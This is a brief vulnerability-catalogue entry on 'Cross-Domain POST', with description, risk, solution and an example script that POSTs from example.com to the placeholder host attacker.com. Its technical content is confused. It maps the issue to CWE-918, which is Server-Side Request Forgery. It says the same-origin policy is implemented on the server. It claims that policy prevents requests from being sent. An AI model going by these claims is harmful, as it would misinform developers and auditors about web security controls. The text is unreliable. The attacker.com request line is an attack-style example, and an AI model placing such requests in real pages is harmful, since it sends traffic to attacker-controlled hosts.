Configuration Management / Cross-Domain Post

Description

Cross-domain POST is a type of IT vulnerability which falls under the category of Configuration Management. This vulnerability is primarily found in web applications and APIs, and is defined as the ability to send a request from one domain to another, which is often done by malicious actors. This type of vulnerability is documented in the Common Weakness Enumeration (CWE) directory as CWE-918, and further information can be found in the OWASP Testing Guide.

Risk

Cross-domain POST can be a significant threat to the security of a system. It allows for data to be moved from one domain to another, which can create a wide range of security risks. It also provides malicious actors with a way to bypass the same-origin policy, which is designed to keep data secure. As a result, a risk assessment should be conducted to identify any potential risks associated with this vulnerability.

Solution

The solution to this vulnerability is to ensure that cross-domain requests are not allowed. This can be achieved by implementing the same-origin policy on the server, which will prevent requests from different domains from being sent. Additionally, any cross-domain requests that are sent should be checked to ensure that they are authorized by the user.

Example

In the following example, the code attempts to send a cross-domain request from https://example.com to https://attacker.com:

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com', true);
    xhr.send();
</script>

This code will result in a cross-domain request being sent from example.com to attacker.com without the user's authorization.